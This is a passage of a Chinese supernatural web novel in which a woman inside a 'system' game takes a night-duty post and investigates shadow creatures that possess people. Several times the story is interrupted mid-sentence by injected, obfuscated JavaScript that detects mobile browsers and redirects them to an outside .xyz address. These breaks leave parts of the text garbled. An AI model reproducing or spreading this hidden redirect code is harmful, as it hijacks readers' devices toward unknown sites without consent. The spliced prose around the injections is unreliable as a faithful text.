林筱右手食指与中指敲击了一下办公桌，神色中带了几分恍然。就说她总觉得今天哪里表现不到位，原来是没有问工资啊。 不过工资的事情现在已经不重要了。 又陆陆续续翻了几页，林筱突然直起背来。电脑屏幕的光映射在她辨不清神色的脸上，气氛陡然变得阴森。 比林筱脸色更加充满阴气的，是这篇显示在网上的自传。 那是一个来自20年前的帖子。只有作者说是他的亲身经历，但网友们都夸奖这位作者脑洞文笔不错，代入感极佳。 这篇传记大概讲了那么一个故事： “我”是一个古景点导游，常年驻扎在临市，几乎每天会带着旅游团参观临市最为著名的景点：沈氏崇明藏书阁。 藏书阁这种建筑最怕的就是走水，但这家主人明明也是一代大儒，偏偏要给藏书阁取个偏火行的名字。 这在历史上也是罕见的。 说来也奇怪，这个藏书阁历经364年，真就一次火灾都没发生过。今年，就是藏书阁建成的第365年了。 在我们导游的聊天群里，大家都偷偷讨论着：这个藏书阁可能镇压着什么。 这并不是没有依据的胡乱猜想。藏书阁位于市中心偏东的位置，坐北朝南，窗明几净，窗外的树虽高但也不至于彻底遮住太阳，理论上在里面的人应该感觉到惬意舒适才对。 但没有。 第一次去的人可能只会觉得进入古建筑感觉到凉意是正常的，但我们这些常去的人却发现，这个温差是有规律的。 平日藏书阁的温度会比外界低起码五摄氏度左右，但到了中元节那一天，尤其是临近傍晚，这个温差可以达到十几度。 我们都说，藏书阁是用这充满阳气的名字镇压阴物。但由于年代久远，这个名字的镇压效果已经大不如前了。 “我”是本地人。我还记得在我小的时候，这个藏书阁的温差还没有那么大。 后来这就算约定俗成的事，我们从不在傍晚还逗留在那。 那天我接了一个急单，是一对老年夫妻。老先生癌症晚期，夫妻俩想趁最后的时光重走当年的蜜月旅行。 临市就是他们的第一站。 老先生腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073059|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚不利索，路上花费的时间远比想象的还要多。等到藏书阁时，天色已经暗了下来。 那一天是冬至，白日最短的那一天。 藏书阁的门票售卖时间截止到16：30，而我们抵达的时间是16：25。 原本“我”不想继续，但耐不住老人家请求。另一方面我也觉得镇压这种说法带着一股腐朽的味道，咬咬牙进去了。 藏书阁本身不大，老人家找到了当年他们第一次见面时借阅的那本书，也没再多逗留。 不知道是不是“我”的错觉，我总觉得有人在盯着“我”看。 出门的时候，已经临近五点，天已经黑了。 门口只留了一个保安，他挥了挥手让我们赶紧走，随后把藏书阁锁了起来。 不知道是不是灯光的原因，“我”感觉那个保安的影子特别大。 我们本来包了一辆车全天。但不知道怎么回事，司机的电话一直打不通。这么晚了这片地方还不好打车“我”和老人家商量了一下，决定走一段路再打车。 那种偷窥的感觉一直存在。“我”感觉到像是被谁一直注视着，但身后没有人，老夫妻也没感觉到异样。 “我”只能把一切归结于自己多心了。 从藏书阁走到附近好打车的一个小广场需要经过一条漆黑的小路。那条路说是要修说了好几年，一直也没见人来过。 “我”打开手机的手电筒照着路，一边看着老人家，防止他们摔了。 也是在那时，“我”发现了不对劲。 那是一个巧合。 前面也说了，“我”要照看这一点老人家，所以目光一直锁定在地面。光走路难免会产生厌烦，所以“我”也靠着影子来消遣一下这个无聊的时光。 这一看，就发现了问题。“我”的影子和“我”的动作不一致，它在注视着“我”。 “我”也不知道自己那时是怎么保持冷静的，居然牢牢地握住手电筒，没有表现出任何惊慌的情绪。 “我”记得老人家曾经说过，遇到这种事情不能慌。人有三把火，只要有一把火动摇了，那些东西就会一直纠缠你。 “我”就假装什么都没有发现地走了一路，直到来到明亮的地方。 站在灯光下，“我”感觉我的心差点就从嗓子眼出来。如果再有一分钟的推迟，“我”就可以眼看那个存在触摸到“我”。 是的，它的手一直在朝“我”的方向过来。如果它碰到“我”，这绝对不会是一件好事。 灯光是街道办事处发出的。 藏书阁附近的确有一个街道办事处。但这附近都是旅游景点和餐饮店，街道办事处的存在感不强，久而久之大家也快遗忘了它。 办事处里面有人，是值班室里的工作人员。 他看我们在这个冬至的夜晚还四处乱逛，严厉批评了“我”这不负责任的“儿子”。 “我”没有反驳，甚至为这份人间真实而感动得痛哭流涕。 那个值班人员估计也是看我们太惨了，给我们打了水，泡了几碗方便面，还把床借给我们留宿，自己趴在办公桌上睡觉。 第二天醒来，天亮了，一切都恢复了正常。“我”定做了一副锦旗送给那个值班人员，辞去了原本的工作。 虽然现在这份工作工资低，但朝八晚四，没有夜班，周围都是新建的广场，夜晚的灯光绚烂得有些刺目。 “我”很安心。 “我”知道肯定会有人说这是我编的故事，但只要我自己知道是真的就行。“我”把我的故事分享出来，也只是为了提醒大家，不要在夜晚的古建筑旁逗留。 至于听不听，那就是大家的事了。 * 就在林筱看完最后一句话后，值班室被关好的门发出了把手摇动的声音。 有人要进来了。 5. 新手世界5 “你就是新来的同事吧。”略带沙哑的男声突然响起，甚至没等林筱反应过来就走到了她的身后，“害怕什么，我们这上班没那么严，不就是玩个电脑。” 林筱将界面切回到之前准备的页面，面上带了不明显的羞赧：“上班第一天就这样感觉不太好。” “有什么不好的。”他将外套甩在肩上，打了个哈欠，“待会一起吃饭？这边的食堂还不错。” 还没等林筱回应，他就自来熟地凑到了林筱面前：“你在看这个新闻啊。也不是什么新鲜事了，每年总有几个考生因为没考上猝死。” 林筱看了眼自己的电脑。 可能是因为刚才太过匆忙，她不小心点到了一则最新新闻，内容恰好是这次考试出现了考生在考场出事的事情。 “我只是有些庆幸自己考上了。”林筱大大方方地将电脑关机，“张姐之前说你下午才来。” “是啊，我下午才上班。”他懒洋洋地开口，“昨晚值班没睡好，偏偏现在又睡不着，就过来看看我的新同事。” 他看了看自己这位异性同事，忍不住“啧”了一声：“你想睡上铺还是下铺？现在两张床都堆了我的东西，等你选完我就去收拾。今天晚上先陪你上一个晚班，以后可就你自己上了。” “那就麻烦你了。”林筱保持着自己人畜无害的人设，“我想睡上铺。” “那行，你睡上铺。夜班基本上也没什么事，你要是不习惯自己带折叠床也行。”他也没在意，懒懒散散地靠在桌子上，“只要注意一点，非特殊原因不出值班室就行。” ［考场规则一：夜间不出门。］ 沉寂已久的系统突然出声。 哪怕林筱撑住了面部表情不变，眼睛还是忍不住多眨了几下。 系统居然在这个时候活了？所以这个游戏也是存在一些触发词的。当玩家诱导npc说出特定话语时，就可以揭露隐藏的考场规则。 不愧是更多规则等待发掘的“自由”游戏啊。 趁着系统在线，林筱抓紧时间试探线索：“那些猝死的考生也是玩家吗？” ［本关卡为新手关卡，同期测试玩家只有一人。］ 意味不明的规则陈述。 系统没有否认他们是玩家，只是说现在参与这场测试的只有她一个人。这些人或许穿插在不同的测试空间，因为空间折叠或者其他原因出现在他们这个世界上，成为提醒考生的一则新闻。 如果她之前在考场失误，现在也有可能出现在别的玩家的测试游戏成为一条无人关注的新闻。 这个系统还是有点恶趣味在身上的。 “到点了，吃饭吗？”新同事在一旁招呼，“去晚了可就没有好菜了。” 食堂排队的人不多，所以新同事推荐的菜色都还没有被打完。 成功安利的新同事带着目的达成后的餍足：“我叫陆闲，你叫我小陆就行。” “我叫林筱。” 这里的食堂伙食的确不错。标配套餐两荤两素一个水果，值班岗位还额外多了一杯奶。 仅从这个特殊待遇上看不出值班岗位的特殊性，因为这可以算是夜班人员福利。如果想要知道这个岗位的秘密，还是得等到晚上。 林筱看着疯狂进食的同事。第一个晚上特意安排老员工带新人一起值夜班，这应该就是属于新手关卡的福利。所以这个晚上不会太危险，是她试探的好机会。 “怎么样，好吃吧。”小陆抬起头，看着才吃了一半的林筱，皱眉，“快点吃，这样才能充分利用午休时间。” 不管怎么看，对方都像是个单纯的社畜啊。 下午上班时间一到，小陆就开始教她相关系统的使用，报表的填写，最重要的是—— “如何拥有一个好的睡眠质量。”小陆站在林筱面前，严肃得仿佛在开什么新型生物发现研讨大会，“一个好的睡眠质量才能让自己不至于在频繁的夜班中劳累过度。我们这个岗位是年轻人的岗位，离职率却也比其他岗位高，大多数都是因为熬不住夜班。据不可靠统计，每年这个岗位都会有几十个人离职。” 值班岗位不是每个街道办事处都有的，全国算下来也就近千个。每年几十个人离职，在这种铁饭碗岗位上也算的是居高不下的离职率。 按照小陆的说法，做好这个本职工作也不容易。 他根据自己的切身经验，真情实感地传授了关于提升睡眠质量的五十种小诀窍:“……就拿睡姿来说，建议向右侧卧，双腿并拢微曲，左手放在左腿外侧，右手拇指伸开放在耳垂后的凹陷处，右肘弯曲贴近胸部……“ 这个小课堂是听得人昏昏欲睡，林筱不得不自食其力：“那就不用担心晚上临时有事吗？我之前在网上看到，会有人在夜间迷路寻找值班室的帮助。” 被打断即兴演讲的小陆皱了一下眉，神色中明显带着不爽但还是按捺下性子解释道：“你说的现象可能存在，但在我们这边，至少从我上班开始，就没遇到过什么事。甚至在你来之前离职的那位前辈也没遇到过。” “那可能是我记错了吧。”林筱假装失落。 小陆“啧”了一声，黑着脸但还是尽职地解说：“你是看了网上那篇小说吧。你没往下看，文章的最后是林氏灯业的广告。后面都有人查出来这就是林氏灯业的广告，发帖人就是他们老板。 “我们这岗位，基本上只需要人在就行。就算真遇到有人回不了家，那也是警察的事，和我们没关系。” 林筱点了点头：“那是我想多了。” 看到新来的同事不好意思的样子，他再大的火气也都憋没了。小陆叹了口气：“我知道你现在对这个岗位还不太熟悉，所以有一些误解。不要看网上那些乱说的东西，我们只需要做自己份内的事情就行。最重要的，就是留在这个值班室不要擅自离开。” 林筱乖巧点头。至于听不听，那就是另外一回事了。 “待遇张姐应该都和你说过，”小陆岔开高风险话题，“排班时间你有想法吗？我都能配合你。” “想法是没有，但一周四个晚班会不会太多了？”林筱看似随口抱怨道。 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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办事处其他电脑都只能使用内部网络，也不允许安装游戏，只有他们值班室是例外。据小陆说，这是为了防止他们夜班太无聊才特地批准的。 夜班无聊肯定是其中一个原因，但目的却不可能是为了让他们放松。林筱想，这是上面的人在尽力阻止他们离开值班室。 这让她对今晚的行程产生了更多的期待。 但这里毕竟是室内密闭空间的洗漱间，排气不是很通畅，一走进去就是一种湿闷的感觉。也不是难闻，但就是会让人觉得不舒服的感觉，就连镜子上的身影都带着几分沉闷感。 唯一的优点就是灯光明亮，电压稳定。 林筱没有在意这个环境。 虽然她家境优渥，但为了创业也是艰苦过的人，如今只是重新开始而已。 她会让系统明白，这个游戏不是它玩她，而是她玩它。 等林筱出来、一局游戏结束，小陆也进了洗漱间。独自一人在外面的林筱很快就发现值班室与众不同的一点。 6. 新手世界6 整个办事处只剩下他们两人，所以等到夜色降临，小陆就关了除了值班室外的所有灯光。 值班室就像茫茫沧海中唯一矗立的灯塔，虽然看着安全，却也格外显眼。 这是街道的规定：办事处熄灯时间与每天的落日时间要一致，但值班室的灯光不能关。熄灯之后，值班岗位人员原则上不能离开值班室。 这就是和被特殊对待的电脑一样，都是上面为了保护他们而制定的规则。 但真正吸引林筱注意的，还是点缀在天花板各处的照明灯。 寻常房间只需要一两盏灯就足够照明，但值班室不一样，它有数不尽的灯。 天花板上方是完美隐藏的光源，密密麻麻地排布让地面几乎毫无死角。即使林筱随便走动，都看不见明显的影子。 她微微垂头向下看。果然，地面上也没有这个双层床铺的本影。 “果然没有影子。”林筱喃喃道。 上方的这些灯光是参照了无影灯的原理设计出的一个无影房，所有物体在这里都找不到它们的阴影。 每个房间被设计出来都应该有它的理由，而值班室这样特殊的就意味着这些灯光有没有被公布出来的作用。 按照一般人的想法，或许就会把这一切归结到鬼的身上。在传统说法中，鬼是一种生活于黑暗的阴属性生物，光明能够对他们造成伤害。 所以值班室才会有针对黑暗的夜班和无影灯，以此来防御鬼的入侵。 但林筱却不这么认为。 鬼这种生物，是人类死亡后的衍生产物，没有实体，只是一段特殊的磁场。它或许可以影响人们的神志，但不可能接触实体。 而林筱可以确定的是，她的房间的确存在过一个有实体的生物翻动的痕迹。所以她推断，这个游戏的敌对势力是一群以阴影为生存介质的非科学生物。 这样一来，那个关于古建筑的故事也就可以解释了。 [考场规则二：不要接触影子] 就在林筱这么想的时候，系统的提示再次突然响起。 这一次，她可没有接触能够给她传递消息的NPC。所以这个规则的出现应该就是基于她自己搜集到的信息与发现。 游戏的难度也没有她想象的那样简单。 洗漱间内，小陆还在洗衣服。 值班室还没到可以安装洗衣机的程度，所以换下的衣物都需要他们自己清洗。为了拖延时间，林筱之前就在里面做了小手脚，水龙头内流出的水流量会很小，这样小陆就不得不花费更多的时间做同样的事情。 而这个时间差，她就可以试探“影子”的实力。 就姑且将它们称呼为“影子”。 她想要尝试的破局方法是从根本上解决问题。现在“根本”出现了，她就需要寻找解决问题的办法。 就比如这些“影子”出现的规律，它们的弱点，以及如何让它们全部消失在这个世界。这些问题都需要她去解决，而机会就在眼前。 打开门，外面是属于影子的世界，关上门，值班室就是这个世界上最安全的地方。 为了确保安全屋的可靠性，她蹲下身来仔细观察。 影子是光照射物体产生的，包括本影与半影。完全没有光线的的地方称为本影，半明半暗的位置则是半影。光源越密集，本影就越小，半影也会更淡。 值班室的光源密集程度就几乎可以让本影消失。而且现在的这个影子是惰性的，对外在的刺激毫无反应，也就是说这是一个没有被借住的影子。 冒险前的准备工作就绪，林筱将手握在门把上，轻轻一拧。 比黑暗更快的，居然是来自系统的警告。 [第一次警告，第一次警告，考生请勿违反考场规则。] 第一条规则，夜间不出门。 这倒是意料外的惊喜，没想到触犯规则还会引起系统警告。 系统像是感觉到了她的不以为意，再次在她的脑海内发生机械的蜂鸣：［第一次警告，岗位表现扣十分，第二次警告岗位表现扣二十分，第三次警告取消本次考试成绩，请考生引以为戒。］ 三次，那也还行。 不顾颅内翻天蹈海犹如大脑被放进榨汁机般的惩戒，林筱的手向下用力，打开了房门。 她犹如看见了深海，静寂无声，但四周却又遍布无数不可知的存在。眼前是无法辨识的黑，视觉受到限制，其他感觉却骤然敏感。她仿佛感觉到千万只眼睛都将目光都汇聚在这唯一的光源之上，等待这自投罗网的血肉之躯与它们融为一体。 她微微一顿。 光影交汇，她的影子狭长纤细，随着她的举动随之变化，却又莫名带着一丝不和谐的感觉。 她向前踏出一步，一只脚离开了房门的庇护。 她感觉四周似乎泛起了涟漪，像是穿透了一层透明的、无形的帘布，以脚为界，沟通了两个世界。 一方温暖，一方诡异。 阴影随之发生变化，房内的灯莫名地闪烁几下，间断的光照让身下的阴影扭曲变形，仿若狰狞的怪物。 有一道声音在黑暗之中呼唤着她，如同呼唤着自己族人的回归。 就像被蛊惑一般，林筱渐渐抬起左脚，就要把整个人投入黑暗中。 “怎么把门打开了？”不知道什么时候水声停歇，小陆擦着手从洗漱间走了出来，一抬头就看见在门边差一点就要走出去的林筱，“你要出去吗？” 耳边传来隐约的叹息声，带着遗憾与失落。林筱假装什么也没听见，也没有关上门：“我觉得房间里太亮了，想透透气。” 在小陆出声的那一刻，她的影子就恢复了正常，乖巧地停留在它应该在的位置。没有多出一根手指，也没有出现不对称的样子，就像是最普通不过的影子。 如果它疯狂的样子没有被林筱看见的话。 “看我这记性。”小陆拍了拍脑袋，“我忘了提醒你值班室的灯光太亮了。今天买眼罩也不方便，我有个一次性的，你先暂时用用，明天再买。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073061|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他来到林筱身边，把门关上：“虽然不是强制要求，但理论上我们不能离开值班室，最好门也不要打开。” 门外的黑暗静悄悄，看着光明又逐渐远去。等到房门被彻底关上，压抑不住的躁动这才瞬间爆发，夜幕中是浓淡不同的黑色在流淌，空旷的空间内是无人听闻的窃窃私语： “光明。” “返回光明。” “成为光明。” 屋内，林筱不着痕迹地打量她的同事小陆。 之前林筱从来没重视过她的这位同事，毕竟从他的行为上来看，这就是一个普通的提供基础信息的身份为打工人的NPC。 但从刚才的行为上看，他更像是知道一些情况的高级角色。 “一晚上都在这个值班室不会无聊吗？”林筱挑起话题试探。 “是有些，”小陆拍了拍电脑，“所以你可以玩游戏。这里的网速很快，主机性能也不错，游戏体验可比在家里要舒服。” “我不太会玩游戏。”林筱恰当好处地露出为难的神情。 “那就没办法了。”小陆耸了耸肩，“你可以尝试一种古人的作息方式，至少挺健康的。” “日出而作，日落而息吗？”林筱配合地开着玩笑，“看来这个岗位真正需要的品质是耐得住寂寞啊。” 小陆也配合着笑了一下。 “那你是怎么做到在这里坚持那么久的？”林筱看上去只是单纯对小陆的好奇。 小陆顿了一下，看着已经看不出什么的窗外，又掩饰性地转移视线：“这可是一个铁饭碗工作。我一没背景二没专长的，这个工作再适合不过了。” “你也别太谦虚。我们这个岗位录取分数线可一直都是最高的，能考上就已经证明我们比很多人优秀了。” “也对。”小陆笑了一下，收拾好东西就躺在了床上，“晚上可能会有一些动静，但不用理会。那是风吹过古建筑的声音，听着瘆人，听惯了也就那样。” “那可以用耳塞吗？”林筱很“单纯”地提问。 “这就有点过分了，”小陆失笑，对着林筱眨了眨眼，“虽然我们是可以在规定范围内偷点懒，但毕竟我们是干值班的，而不是真的拿钱睡觉的。虽然可能性很小，但也要最好有人求助的准备。” “也是。”林筱长叹一声，“是这里的安逸让我忘记了自己的本分。” 小陆又笑了一声：“不聊了，我昨天的觉都没补，今天就先睡了。” “晚安。”林筱说道。 浅浅的鼾声渐起，林筱站在双层床边。这个格挡光线的地方助长了影子的形成，林筱的影子拉长，覆盖在小陆的身上。 她就这样看着小陆好久，直到确认他真的陷入了沉睡。 她来到窗边。 值班室只有那一扇窗户，窗户外正对古楼。风中传来隐隐的哭泣声，听上去就是从古楼内传出的。 她现在可以肯定，小陆的身上存在秘密，而这个秘密与古楼有关。 7. 新手世界7 就职的第一晚，无事发生。 早上醒来时，小陆已经买好了早餐并分给她一份。 早餐也是食堂的，味道的确还不错。 小陆给了她一张纸，是他精心思索后写出的值班人员必备物品单，包括了昨天准备和没准备的东西，细节到了卫生用品。 林筱自然谢过了小陆的好意，来到了租房附近的大超市。 除了纸条上的东西，她也为今晚做了些准备。 高亮度的照明灯被粗糙地固定在一个圆盘上，用数量补足空间布置的欠缺，一个简易的无影灯勉强算是完成。连接好电路，林筱把它固定在房间内的天花板上，确保可以正常使用。 就这样，一个上午就消磨过去了。 午餐是点的外卖。手机铃声响起，不是外卖小哥而是一个欢快的声音跳跃到耳边：“筱筱，我今天上班了！大家都很亲切，我爱我的工作！” 每当林洛激动的时候，她就会兴奋地叫她“筱筱”，就跟遇到喜欢的人的小动物一样围着她团团转。 很可爱的小习惯。 “那不是更好。”即使没有和林洛视频，林筱依旧笑了一下，“这样你也有勇气独立生活了。” “我算了下距离，现在我租的房子距离我们俩的单位都不远。”林洛陷于兴奋无法自拔，美好的未来就在她眼前，于是她情不自禁地发出邀请，“我们要不要合租？” 如果真是普通的打工人，林筱肯定迫不及待地答应了。毕竟现在她住的这个地方位置偏远，交通不便，除了房租便宜一无是处。可是，“我还挺喜欢我现在住的地方。” 充满了线索的味道。 “欸？”林洛惊讶地拔高声音。 林洛知道林筱住在哪里，也明白那里除了房租便宜没有别的好处。 “我喜欢安静一点的地方。”林洛的好意她心领了，既然没办法接受，就得找个借口糊弄过去，最好还不能让林洛难过。 总不能说，她就是想要在老房子堆里等待怪物的降临才不和她住一起的。 “好吧。”林洛失落地咕噜一声，但也没怀疑林筱的话。毕竟在她眼中，林筱就是一个安安静静的仙女：“那今天你休息吧，晚上我们出去玩？” “今天晚上我还有事。”虽然不太想影响林洛现在的心情，但林筱还是拒绝了她。 “那我可以参与吗？”屡败屡战说的就是林洛了。 “不行。”没等林洛再次撒娇，林筱说出还没说完的剩下半句，“但有一件事必须有你的帮忙。” 必须要她帮忙这几个字眼已经完全迷惑了林洛的心神，甚至等不及林筱开口她就果断答应：“好呀。” * 一个人的时间可以很慢，也可以很快。简单的两顿饭后，夕阳西落，橘色的余光渐渐被林立的建筑遮挡，只留下灰暗的天空和浅淡的月色。 街边的路灯陆续亮起。 老旧的街区就连路灯也无人修理，兀自发着断断续续的光，倒是让路上的影子多了几番诡谲的味道。 今天晚上对于林筱来说也不好对付。 作为一个手无寸铁的普通人，在了解这个世界背面的存在后，又没有有关单位的庇佑，她无异于摆在这些非科学生物面前的美食，轻易就可掠夺。 这就是最好的试探机会。无论是对于那些生物，还是林筱来说。 但这个陈旧的出租屋比不上办事处的值班室，点亮房间内的灯光只会让这里填满阴影的存在。 而阴影，就是它们的主场。 就连办事处也都让除了值班室以外的空间布满黑暗，这就证明恐怖不是存在于纯黑，而位于半明半暗之间。 当整个出租屋都陷于无光的寂静之中，这种近乎黑暗囚牢的感知足以让寻常人崩溃，但林筱依旧清醒地等待。 而等待，最能消耗一个人的勇气。 夜色愈加深沉，被窗帘遮掩的外界却连蝉鸣蛙叫没了声音。就在这时，门外的走廊发出清脆的响声，那是石子抛到地面上的声音。 林筱用耳机连接着客厅的手机，默默倾听来自外界的声音。 她住的这层公寓走廊是声控照明，只要制造出一定的音量就可以让灯光亮起。但因为年久失修，现在这个灯只需要一丁点的动静就会自动亮起。 就比如，扔一颗石子的声音。 之后又是漫长的沉寂。比起小朋友不小心的玩闹，更像是另一个世界生物的特意之举。 “咔哒。” 那是门锁被打开的声音。 老旧的公寓没有防盗门，普通的一把钥匙就是维系身家安全的凭借。林筱不是这个世界的人，来时空空荡荡，自然也不会想到换一个安全的门。 现在，这个门完全不足以阻止入侵者的脚步。 房间内的气温骤然下降。虽然还在夏日，却需要棉被才不至于让人瑟瑟发抖。 轻微的摩擦声逐渐靠近黑屏的手机，但它并没有被发现。客厅的灯被打开，隔着门缝向漆黑的房间透过一条光明。 摩擦声又渐渐远去，隔着耳机只能有着隐约的感知。很快，不需要耳机的辅助她也听到了那个声音。 那个声音戛然而止，但林筱知道，它现在就站在她的房门之后。 林筱努力抑制自己呼吸的频率，哪怕他们都清楚地感知到对方的存在。 最先耐不住的不是林筱。 卧室的门被拉开，伴随着重物砸落地面的声响。刺眼的光线穿透黑暗来到林筱的眼前，屋外却空无一人。 房门向外伸展，阴影在光线的作用下变得扭曲，方正的形状如同顽童手中的泥巴被扭转成形态不一的犄角，对着仅剩的活人露出狰狞笑容。 林筱依旧没有动。 阴影也会消融于纯黑之中。这个房间她重新布置过，外面的光线只会止步于门附近十厘米的范围内，所以这些不科学生物应该无法进攻她。 但这一次，她想错了。 房间内的空气逐渐变得沉重，每一刻气流的流淌都清晰可见，莫名的束缚力制约着林筱，让她只能眼睁睁看着周围的变化。 耳边响起一声“啵”的声音，像是一种无形的屏障被打破，阴冷的气息向着不大的床上翻涌，每一笔都能被勾勒出明显的棱角。眼前是模糊的黑白，如同老式的电视机卡顿的模样，抬手的动作都被分解成具体的片段，一帧一帧地缓慢播放。 林筱仿佛又回到了那个晚上，灵魂与□□的衔接被切断。她渐渐感知不到自己的位置，浑身沉浸在一种漫无边际的虚无感之中。 “嗡——” 蜂鸣般的奇异声音在她耳边响起。 不能说是耳边，因为她现在已经感觉不到任何东西，这更像是来自灵魂深处的警醒。 她从黑色的海洋中清醒，像是从缺氧的高原地带回到富氧的低海拔森林，晕晕沉沉，却依旧保留完整的意识。 她在参与一场拔河比赛，想要将自己重新带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当她灵魂与□□分离的时候，第一声蜂鸣应该属于系统。所以系统虽然不是什么好东西，但至少在死亡次数用尽前，也可以保住她的一条命。 但真正让她清醒的，是林洛的那通电话。 根据现有的线索分析，这个生物会伪装成阴影攻击捕猎人类，甚至会取代他们的身份存在。 这个猜想就源自于她自身的体验。她感觉到自己的灵魂被剥离，但那种感觉比起剥离，侵占更为准确。 她还残留着的那点意识感觉到一个晦暗的东西试图将她挤走。 但它们抢走身份的这个过程不能被其他人打扰。 不管是她，还是那个故事里的人物，他们都是在跟其他人交流后失去了对异常现象的感知。甚至包括昨天晚上，也是小陆的声音唤醒了她，让她从诱惑中挣脱。 还有一条等待确认，因为那只是她对它们身份的一种猜测。 确认她已经完全摆脱那种生物的追击，林筱踩上松软的拖鞋走出了房间。 还没等她走上几步，一个温暖柔软的东西就挡住了前面的路。就在她房门前不远，一个陌生的男人平躺在地面。他表情松弛，地板上却有着干涸的血迹。 他大概就是被附身来到她家里，却被不留情地扔下。脑袋因为磕到墙角而破损，但灵魂的脱离却让他感知不到痛苦，所以神态自然。 看来可以先补充另一点：它们不存在实体，只能依靠附身接触实体。 她看着这个男人，打开手机的通话界面，拨出来到这个世界的第一个报警电话：“喂，您好，我要报警。我发现我的家里出现了一个陌生人，现在他已经被控制住了，麻烦你们来一下。我在下马街568号204室，谢谢。” 8. 新手世界8 昨天夜晚发生的事情并没有影响到林筱今天的行程，但不知道是不是来自另一个世界的诅咒，她今天格外不顺利。 卡着时间坐上地铁，浑浑噩噩下了地铁。林筱拿着被咬了一口的包子，一时之间对这个世界充满了怀疑。 天气预报说好的晴天在她出站后瞬间电闪雷鸣，白色的弧光割裂天际的同时也劈到了一旁耸立的树木，灼烧后的味道伴随着缕缕青烟飘到林筱的眼前，犹如这个世界给她的下马威。 她出站的站点名叫钟楼站，被劈的树木自然就是她所熟知的古钟楼旁的其中一棵。 出现雷劈的事件后，人群四散，她一路跑向街道办事处。豆大的雨点毫不留情地砸向林筱，没过多久就将她浑身浇透。等到她好不容易寻到一处便利店躲躲雨，天空却骤然放晴，一道偌大的彩虹悬挂于天空的右上角。 周围的人在欢呼，她面无表情地重新买了一份早餐。 等到林筱终于坐到工位上时，打卡时间已经过去一分钟。 上班第二天就迟到，如果没能尽早解决那个异界生物，她很快也就要因为作风纪律问题被清退了。最终结果导向都是一致的，她没能通关这个新手关卡。 这个结论，她披着浴巾不悦地敲击着桌面，她不能接受。 小陆听到动静掀开门帘的一角探出头来，睡眼惺忪地看着她：“这么早？” “已经到上班的时间了。”林筱看着他这刚刚睡醒的样子，又想到现在自己狼狈的模样，忍不住对这个世界和系统多了几分烦躁。 但这个情绪转瞬即逝，她看着和她离开前没什么区别的值班室：“昨天没发生什么事？” “能有什么事？”小陆伸了个懒腰，神色倦怠，“我们这岗位，不就该祈祷天天没事，这样工作才悠闲。” 林筱看了一眼小陆，确认这话是他真心实意这样认为的，这才垂眸看着手中微温的包子。小陆现在的表现看上去更像是不知情的单纯职工，但整个街道办肯定存在知情的人。 既然不在值班室，那他就是在更上面。就比如，办公室。 “外面下雨了？”小陆好奇地拉开窗帘，屋外阳光明媚，衬托地林筱像是从另一个世界而来，“呃，需要借你外套吗？” “不用。”将早餐吃完剩下的垃圾扔进垃圾桶，林筱擦干净手中的污渍，“有人说会给我送来。” 这个有人，自然是林洛。 小陆前脚刚走，后脚跑腿就把东西送到了。不透明的袋子鼓鼓囊囊，份量远超出当初说好的一套换洗衣物。 林筱将里面的东西一件件拿出。浴巾、全新的外套和裙子，甚至还有一双凉鞋，袋子里装的几乎包括了她全身里里外外上上下下需要更换的东西。 就算这样，还有东西没有被她拿出来。 指尖碰触到一个柔软的小东西，她拿出来一看，是一个丑萌丑萌的人形玩偶。棉絮填满它的整个身躯，它却连站立都做不到，简单黑色针线勾勒的五官露出一个憨厚的傻笑，就像整天乐呵呵的林洛。 她戳了戳玩偶，柔软的内里几乎可以包裹她的手指，彰显着自己的无害。玩偶被放到一侧的床上，她又从袋子里翻出一个坚硬的东西。 这个几乎有脸大的手电出现得突兀又自然，符合林洛一向跳脱的本性。 林筱撕下贴在手电上的纸条，幼圆的字体果然写着林洛的那些可爱的小心思。林洛不放心她独自一人的第一个夜班，特意翻出这个巨持久的超级手电替她守护最好的筱筱。 又是一个恰当好处的礼物。 林洛就像是这个新手关卡送给她的指引npc，永远都为她提供必要的帮助。虽然，她一点都不像是程序设置出来的人物。 但世界的真相如何不是她现在可以触碰的，她也只是受困于一个不知所谓的系统的可怜人。 她拿出手机发了一会呆，认命地给林洛发回信息：收到你的礼物了，我很喜欢。 或许她的岗位真的很悠闲，林洛几乎都是秒回：爱你～ 有的时候，林洛真的热情地让她不知所措。 * 就像小陆说的，值班室的日常就是守着空旷的办公室摸鱼。 随着街道办事处的工作人员陆续离开，天色逐渐昏蒙。当黑云彻底掩盖日月，值班室再次成为那个相对光明的世界。 不过光明也不代表着彻底的安全。 